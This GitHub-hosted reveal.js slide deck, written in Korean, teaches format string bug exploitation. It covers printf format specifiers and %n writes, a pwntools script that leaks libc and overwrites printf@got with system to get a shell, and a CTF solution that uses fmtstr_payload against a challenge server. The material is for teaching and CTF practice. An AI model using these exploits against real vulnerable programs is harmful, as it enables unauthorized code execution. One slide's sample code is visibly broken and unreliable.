-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.html
553 lines (478 loc) · 19.1 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>reveal.js</title>
<link rel="stylesheet" href="./dist/reset.css">
<link rel="stylesheet" href="./dist/reveal.css">
<link rel="stylesheet" href="./dist/theme/black.css" id="theme">
<!-- Theme used for syntax highlighted code -->
<link rel="stylesheet" href="./plugin/highlight/monokai.css" id="highlight-theme">
</head>
<body>
<div class="reveal">
<div class="slides">
<section>
<h1>FSB</h1>
<h5>Format String Bug</h5>
</section>
<section>
<h3>FSB란</h3>
<ul>
<li>printf의 잘못된 사용법으로 일어나는 버그</li>
</ul>
</section>
<section data-auto-animate>
<h3>FSB란</h3>
<ul>
<li>printf의 잘못된 사용법으로 일어나는 버그</li>
</ul>
<pre data-id="code"><code data-trim data-line-numbers>
int main(void) {
char buf[100];
gets(buf);
printf(buf);
}
</code></pre>
</section>
<section data-auto-animate>
<h3>FSB란</h3>
<ul>
<li>printf의 잘못된 사용법으로 일어나는 버그</li>
</ul>
<pre data-id="code"><code data-trim data-line-numbers="4">
int main(void) {
char buf[100];
gets(buf);
printf(buf); // bug!!
}
</code></pre>
</section>
<section data-auto-animate>
<h3>포맷 문법</h3>
<h5><a href="https://devanix.tistory.com/283">참고</a></h5>
</section>
<section data-auto-animate>
<h3>포맷 문법</h3>
<pre><code>%[parameter][flags][width][.precision][length]type</code></pre>
</section>
<section data-auto-animate>
<h3>포맷 문법</h3>
<pre><code>%[parameter][flags][width][.precision][length]type</code></pre>
<h5>parameter</h5>
<h6>n$꼴로 n번째 인자를 지정할 수 있다.</h6>
<pre><code data-trim data-line-numbers>
int main() {
printf("%3$d", 1, 2, 3); // 3
printf("%0$s"); // %0$s
}
</code></pre>
</section>
<section data-auto-animate>
<h3>포맷 문법</h3>
<pre><code>%[parameter][flags][width][.precision][length]type</code></pre>
<h5>flags</h5>
<h6>정렬(-), pre(+, #), postfix, padding(' ', 0) 등</h6>
</section>
<section data-auto-animate>
<h3>포맷 문법</h3>
<pre><code>%[parameter][flags][width][.precision][length]type</code></pre>
<h5>width</h5>
<h6>폭 지정. *를 주면 숫자와 대응</h6>
</section>
<section data-auto-animate>
<h3>포맷 문법</h3>
<pre><code>%[parameter][flags][width][.precision][length]type</code></pre>
<h5>.precision</h5>
<h6>정수: 왼쪽 패딩, 실수: 소수점 자리, 문자열: 지정한 개수만큼 표시</h6>
</section>
<section data-auto-animate>
<section data-auto-animate>
<h3>포맷 문법</h3>
<pre><code>%[parameter][flags][width][.precision][length]type</code></pre>
<h5>length</h5>
</section>
<section data-markdown>
|character|설명|
|---------|----|
|h|정수 자료형 감소 (int -> short)|
|hh|정수 자료형 2번 감소 (int -> short -> char)|
|l|정수 자료형 증가 (int -> long)|
|ll|정수 자료형 2번 증가 (int -> long -> long long)|
|L|실수 자료형 증가 (float -> double)|
</section>
</section>
<section data-auto-animate>
<section data-auto-animate>
<h3>포맷 문법</h3>
<pre><code>%[parameter][flags][width][.precision][length]type</code></pre>
<h5>type</h5>
</section>
<section data-markdown>
|character|type|설명|
|---------|----|----|
|d, i|int|부호 있는 10진 정수|
|u|unsigned int|부호 없는 10진 정수|
|o|unsigned int|부호 없는 8진 정수|
|x, X|unsigned int|부호 없는 16진 정수|
|f, F|double|10진수 방식의 부동 소수점 실수|
|e, E|double|지수 형식|
</section>
<section data-markdown>
|character|type|설명|
|---------|----|----|
|g, G|double|%e와 %f 중 짧은 쪽, 소수점 아래 0 생략|
|c|char|문자|
|s|char *|문자열|
|p|void *|포인터 주소값|
|n|int *|포인터 주소값|
|%|literal '%'||
</section>
<section>
p는 (void *)형이라 비트 수에 맞게 스택을 보여줘서 좋다.
s는 포인터 주소가 아닌 값을 읽을 때 사용한다.
n을 사용하면 현재 출력 된 글자 수를 주소에 쓴다.
아래 코드가 가장 중요하다. 핵심이다.
<pre><code data-trim data-line-numbers>
int main() {
int n = 0;
printf("%100c%n", 65, &n);
printf("\n%d", n); // 100
}
</code></pre>
</section>
<section data-markdown>
첫번째 printf를 실행할 때 스택 구조를 보면
|||
|-|-|
|ret||
|&format| -> "%100c%n" |
|65||
|&n||
n의 주소를 넘겨주고, printf에서 n에 값을 쓸 수 있다.
</section>
</section>
<section>
<p>대부분 fsb를 활용한 공격은 got를 덮어서 다른 함수를 호출하게 한다.</p>
<p class="fragment">plt와 got를 이해할 필요가 있다.</p>
<p class="fragment">printf 호출 -> printf@plt -> jmp printf@got -> libc_printf</p>
<p class="fragment">
과정은 생략하고 대충 plt를 호출하면 got로 가는데
got에 libc printf 주소가 적혀있다고 보면 된다.
</p>
</section>
<section>
<p>- GOT에는 주소가 저장되어 있다. (plt+6의 주소 or 실제 함수의 주소)</p>
<p>- PLT에는 코드가 저장되어 있다. (GOT로 점프하는 코드!)</p>
<p>- 흐름에 맞게 GOT에는 원래 GOT에 있던값이, PLT에는 원래 PLT에 있던 값이 있어야 한다. (반드시 그런건 아니지만, 흐름상 그렇다.)</p>
<p>출처: https://bbolmin.tistory.com/75 [bbolmin]</p>
</section>
<section>
printf got를 이런 식으로 덮을 수 있다.
<pre><code data-trim data-line-numbers>
int main() {
int *printf_got;
printf_got = 0x0804A00C;
printf("%3031c%n", 65, printf_got);
printf("\n%d", n); // 100
}
</code></pre>
</section>
<section>
<p>
그럼 <code>printf(buf);</code>와 같은 코드에서
parameter를 이용해서 원하는 주소에
원하는 값을 쓸 수 있다.
</p>
</section>
<section>
<p>FSB 페이로드는 다음과 같은 형태로 이뤄진다.</p>
<p>
<span class="fragment">[서식 지정자...]</span>
<span class="fragment">[주소...]</span>
</p>
<pre class="fragment"><code data-trim>
[DEBUG] Sent 0x31 bytes:
00000000 25 38 63 25 ... 37 32 63 25 │%8c%│11$h│hn%1│72c%│
00000010 31 32 24 68 ... 31 33 24 68 │12$h│hn%9│77c%│13$h│
00000020 6e 61 61 61 ... 0d a0 04 08 │naaa│····│····│····│
00000030 0a │·│
</code></pre>
<p class="fragment">
그 이유는 주소에 0x00이 있으면 (ascii armor)
그 뒤를 포맷으로 인식하지 못하기 때문이다.
</p>
</section>
<section>
<p>그러면 다음과 같은 코드가 있다고 가정</p>
<pre><code data-trim data-line-numbers>
#include <stdio.h>
#include <stdlib.h>
int main(void) {
char buf[500];
read(0, buf, 500);
printf(buf);
exit(0);
}
</code></pre>
</section>
<section>
<p>목표는 쉘을 따는 것!</p>
</section>
<section>
<p>분석은 스킵하고 바로 공격 시나리오로 들어갑시다.</p>
</section>
<section>
<h2>공격 시나리오</h2>
<ol>
<li class="fragment">포맷의 오프셋을 구한다.</li>
<li class="fragment">exit의 주소를 main으로 바꾼다.</li>
<li class="fragment">libcbase를 가져오기 위해 main의 리턴주소를 leak한다.</li>
<li class="fragment">printf의 got를 oneshot 또는 system으로 바꾼다.</li>
<li class="fragment">shell!</li>
</ol>
</section>
<section>
<h2>1. offset</h2>
<pre class="fragment"><code data-trim>
$ ./fsb
AAAAAAAA %p %p %p %p %p %p %p %p
AAAAAAAA 0x19b2030 0x7f56518ab790 0x7f56518a98e0
0x19b2031 (nil) 0x4141414141414141
0x2520702520702520 0x2070252070252070
</code></pre>
<p class="fragment">6번째에 4141... 이 나온다.</p>
</section>
<section>
<h2>2. exit overwrite</h2>
<p class="fragment">
원래는 got에 plt+6의 주소에 들어가 있으므로
아래 두 byte만 바꾸어주면 된다.
</p>
</section>
<section>
<h2>2. exit overwrite</h2>
<pre><code data-trim data-line-numbers>
from pwn import *
p = process("./fsb2")
e = ELF("./fsb2")
main = e.sym['main']
pay = "%" + str(main & 0xffff) + "c%8$hn"
pay += "aaaaa" # dummy, stack align
pay += p64(e.got['exit'])
p.sendline(pay)
p.interactive()
</code></pre>
<p class="fragment">main이 계속 반복되는 것을 볼 수 있다.</p>
</section>
<section>
<h2>3. libcbase leak</h2>
<p>메인이 시작할 때 breakpoint를 걸면 스택에 __libc_start_main+240이 있는 것을 볼 수 있다.</p>
<pre><code data-trim>
0x00007fffffffdee8│+0x0000: 0x00007ffff7a2d830
→ <__libc_start_main+240> mov edi, eax ← $rsp
</code></pre>
<p class="fragment">%p를 사용해서 return 주소를 leak할 수 있다.</p>
<p class="fragment">
pause()를 건 뒤, gdb에서 return 주소를 찾아보면
+0x0418 __libc_start_main+240이 있다.
</p>
<p class="fragment">
0x418 / 8 = 131, 오프셋 6을 포함한 %137$p로 값을 가져오면
주소를 알아낼 수 있다.
</p>
</section>
<section>
<h2>3. libcbase leak</h2>
<section>
<pre><code data-trim data-line-numbers>
from pwn import *
p = process("./fsb2")
e = ELF("./fsb2")
libc = e.libc
main = e.sym['main']
pay = "%" + str(main & 0xffff) + "c%8$hn"
pay += "aaaaa" # dummy, stack align
pay += p64(e.got['exit'])
</code></pre>
</section>
<section>
<pre><code data-trim data-line-numbers>
p.sendline(pay)
p.sendline("%37$p")
p.recvuntil("0x")
libc_start_main = int(p.recvline()[:-1], 16) - 240
libc_base = libc_start_main - libc.sym['__libc_start_main']
log.info("main: " + hex(libc_start_main))
log.info("libc base: " + hex(libc_base))
p.interactive()
</code></pre>
</section>
</section>
<section>
<h2>4. printf overwrite</h2>
<p class="fragment">마지막으로 printf를 system으로 바꿔주면 된다.</p>
<p class="fragment">문제는 system의 주소를 바로 출력하면 길이가 너무 길어서 한세월이 걸리거나 IO가 터진다.</p>
<p class="fragment">그래서 바이트를 짧게 끊어서 넣어주어야한다.</p>
<p class="fragment">여기서 생각해 두어야 할 것은 printf는 이미 호출 된 상태여서 libc안에 있는 것을 가리킨다.</p>
<p class="fragment">하위 3byte만 덮어주면 된다.</p>
</section>
<section>
<h2>4. printf overwrite</h2>
<section>
<pre><code data-trim data-line-numbers>
from pwn import *
p = process("./fsb2")
e = ELF("./fsb2")
libc = e.libc
main = e.sym['main']
pay = "%" + str(main & 0xffff) + "c%8$hn"
pay += "aaaaa" # dummy, stack align
pay += p64(e.got['exit'])
</code></pre>
</section>
<section>
<pre><code data-trim data-line-numbers>
p.sendline(pay)
p.sendline("%37$p")
p.recvuntil("0x")
libc_start_main = int(p.recvline()[:-1], 16) - 240
libc_base = libc_start_main - libc.sym['__libc_start_main']
system = libc_base + libc.sym['system']
log.info("main: " + hex(libc_start_main))
log.info("libc base: " + hex(libc_base))
log.info("system: " + hex(system))
log.info("printf@got: " + hex(e.got['printf']))
</code></pre>
</section>
<section>
<pre><code data-trim data-line-numbers>
system1 = (system & 0xffff0000) >> 16
system2 = system & 0xffff
pay = "%" + str(system2) + "c"
pay += "%{0}$hn"
if system1 - system2 < 0:
pay += "%" + str(system1 - system2 + 0x10000) + "c"
else:
pay += "%" + str(system1 - system2) + "c"
pay += "%{1}$hn"
pay += "A" * (16 - len(pay) % 8)
pay = pay.format(len(pay) / 8 + 5, len(pay) / 8 + 6)
pay = pay[:len(pay) - len(pay) % 8]
pay += p64(e.got['printf']) + p64(e.got['printf'] + 2)
</code></pre>
</section>
<section>
<pre><code data-trim data-line-numbers>
p.sendline(pay)
p.interactive()
</code></pre>
</section>
</section>
<section>
<h2>5. shell!</h2>
<p>이제 system 함수로 무엇이든지 할 수 있다.</p>
<p class="fragment">다시 main으로 돌아왔을 때 /bin/sh을 치면 된다.</p>
</section>
<section>
<h1>
<a href="https://ctf.j0n9hyun.xyz/challenges#Basic_FSB">Basic FSB</a>
</h1>
</section>
<section data-auto-animate>
<h2>분석</h2>
<p>main함수에서 vuln함수를 호출</p>
</section>
<section data-auto-animate>
<h2>분석</h2>
<p>vuln에서는 fgets로 입력을 받고, snprintf로 저장한 후, 그것을 printf를 사용해서 출력</p>
<pre data-id="basic-fsb-vuln"><code data-trim data-line-numbers>
int vuln()
{
char s; // [esp+0h] [ebp-808h]
char format; // [esp+400h] [ebp-408h]
printf("input : ");
fgets(&s, 1024, stdin);
snprintf(&format, 0x400u, &s);
return printf(&format);
}
</code></pre>
</section>
<section data-auto-animate>
<h2>분석</h2>
<p>FSB가 가능한 부분이 두 군데 있다.</p>
<pre data-id="basic-fsb-vuln"><code data-trim data-line-numbers="8,9">
int vuln()
{
char s; // [esp+0h] [ebp-808h]
char format; // [esp+400h] [ebp-408h]
printf("input : ");
fgets(&s, 1024, stdin);
snprintf(&format, 0x400u, &s);
return printf(&format);
}
</code></pre>
</section>
<section data-auto-animate>
<h2>분석</h2>
<p>flag 함수로 쉘을 딸 수 있음</p>
</section>
<section data-auto-animate>
<h2>분석</h2>
<h4>snprintf에서의 오프셋</h4>
<pre><code data-trim>
$ ./basic-fsb
input : AAAA %p %p %p
AAAA (nil) 0x41414141 0x20702520
</code></pre>
<p>offset: 2</p>
</section>
<section data-auto-animate>
<h2>공격 시나리오</h2>
<ol>
<li class="fragment">
snprintf에서 FSB 취약점을 이용해
<span class="fragment highlight-red">printf의 got</span>를 <span class="fragment highlight-red">flag</span>함수 주소로 바꾼다.
</li>
<li class="fragment">printf@plt 실행 -> printf@got -> flag</li>
<li class="fragment">쉘 획득</li>
</ol>
</section>
<section>
<h2>익스플로잇</h2>
<p>이제는 pwntools에 있는 fmtstr_payload를 이용해서 해보겠다.</p>
<p class="fragment"><code>fmtstr_payload(offset, dict)</code>를 받는데,</p>
<p class="fragment">dict에는 key가 덮을 주소, value가 덮을 값이 되게 만들면 된다.</p>
</section>
<section>
<h2>익스플로잇</h2>
<pre><code data-trim data-line-numbers>
from pwn import *
context(arch='i386', log_level='debug')
p = remote("ctf.j0n9hyun.xyz", 3002)
e = ELF("./basic_fsb")
payload = fmtstr_payload(2, {e.got['printf']: e.sym['flag']})
p.sendline(payload)
p.interactive()
</code></pre>
</section>
</div>
</div>
<script src="./dist/reveal.js"></script>
<script src="./plugin/notes/notes.js"></script>
<script src="./plugin/markdown/markdown.js"></script>
<script src="./plugin/highlight/highlight.js"></script>
<script>
// More info about initialization & config:
// - https://revealjs.com/initialization/
// - https://revealjs.com/config/
Reveal.initialize({
hash: true,
// transition: 'fade',
// Learn about plugins: https://revealjs.com/plugins/
plugins: [ RevealMarkdown, RevealHighlight, RevealNotes ]
});
</script>
</body>
</html>